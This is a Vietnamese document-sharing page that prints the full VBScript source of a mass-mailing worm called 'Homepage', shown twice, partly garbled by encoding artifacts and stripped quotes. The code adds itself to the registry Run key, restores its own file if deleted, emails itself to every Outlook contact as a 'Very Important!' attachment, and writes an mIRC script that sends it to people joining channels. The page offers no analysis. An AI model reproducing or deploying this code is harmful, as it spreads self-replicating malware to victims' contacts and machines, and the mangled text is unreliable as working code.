Code virus Homepage

Code virus Homepage : Homepage Created By Robinhood Set FSO =3D createobject("scripting.filesystemobject") dirsystem =3D FSO.getspecialfolder(1) Path=3D dirsystem & "Win32.dll.vbs" Set WSH createobject("wscript.shell") WSH.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" FSO.copyfile wscript.scriptfullname, Path payload=20 If = WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend mail") 1 then sendmail End if If WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC" ) 1 then IRC "" End if Set sourcefile=3D FSO.opentextfile(wscript.scriptfullname) sourcetext sourcefile.readall sourcefile.close Do if not(FSO.fileexists(wscript.scriptfullname)) then set filebackup=3D FSO.createtextfile(wscript.scriptfullname) filebackup.write sourcetext filebackup.close end if sWSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll" ) If s "wscript.exe " & Path& " %" then WSH. ...
Nội dung trích xuất từ tài liệu:
Code virus HomepageCode virus Homepage :Homepage Created By RobinhoodSet FSO =3D createobject(scripting.filesystemobject)dirsystem =3D FSO.getspecialfolder(1)Path=3D dirsystem & Win32.dll.vbsSet WSH createobject(wscript.shell)WSH.regwriteHKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll,wscript.exe & Path& %FSO.copyfile wscript.scriptfullname, Pathpayload=20If =WSH.regread(HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSendmail) 1 thensendmailEnd ifIfWSH.regread(HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC) 1 thenIRC End ifSet sourcefile=3D FSO.opentextfile(wscript.scriptfullname)sourcetext sourcefile.readallsourcefile.closeDoif not(FSO.fileexists(wscript.scriptfullname)) thenset file backup=3D FSO.createtextfile(wscript.scriptfullname)filebackup.write sourcetextfilebackup.closeend ifsWSH.regread(HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll)If s wscript.exe & Path& % thenWSH.regwrite =HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll, wscript.exe & Path& %end ifs=3D loop=20Function sendmail()Set myapp =3D CreateObject(Outlook.Application)If myapp =3D Outlook ThenSet myname =3D myapp.GetNameSpace(MAPI)Set myaddlists =3D myname.AddressListsFor Each myaddlist In myaddlistsIf myaddlist.AddressEntries.Count 0 Thenx =3D myaddlist.AddressEntries.CountFor i =3D 1 To xSet mailitem =3D myapp.CreateItem(0)Set myadd =3D myaddlist.AddressEntries(i)mailitem.To =3D myadd.Addressmailitem.Subject =3D Very Important!mailitem.Body =3D Hi: & vbcrlf & Please view this file, its veryimportant. & vbcrlf & execute set myatts =3Dmailitem. & Chr(65) & Chr(116) & Chr(116) &Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116)& Chr(115)copypath Pathmailitem.DeleteAfterSubmit Truemyatts.Add copypathIf mailitem.To Thenmailitem.SendEnd IfNextEnd IfNextEnd IfEnd functionFunction IRC(ircpath)If ircpath ThenprogrampathWSH.regread(HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir)If FSO.fileexists(c:mircmirc.ini) Thenircpath =3D c:mircElseIf FSO.fileexists(c:mirc32mirc.ini) Thenircpath =3D c:mirc32ElseIf FSO.fileexists(programpath & mircmirc.ini) Thenircpath =3D programpath & mircElseIf FSO.fileexists(programpath & mirc32mirc.ini) Thenircpath =3D programpath & mircElseircpath =3D End IfEnd IfIf ircpath ThenSet ircscript =3D FSO.CreateTextFile(ircpath & script.ini, True)text =3D [script] & vbCrLf & n0=3Don 1:JOIN:#:{text =3D text & vbCrLf & n0=3Don 1:JOIN:#:{text =3D text & vbCrLf & n1=3D /if ( $nick =3D=3D $me ) { halt }text =3D text & vbCrLf & n2=3D /. & Chr(100) & Chr(99) & Chr(99) & send $nick text =3D text & Pathtext =3D text & vbCrLf & n3=3D}ircscript.write(text)ircscript.CloseEnd IfEnd Function=20Function payload()RandomizeIf 1 + Int(Rnd * 5) =3D 7 thenWSH.run Http://www.virii.com.ar,falseend ifend function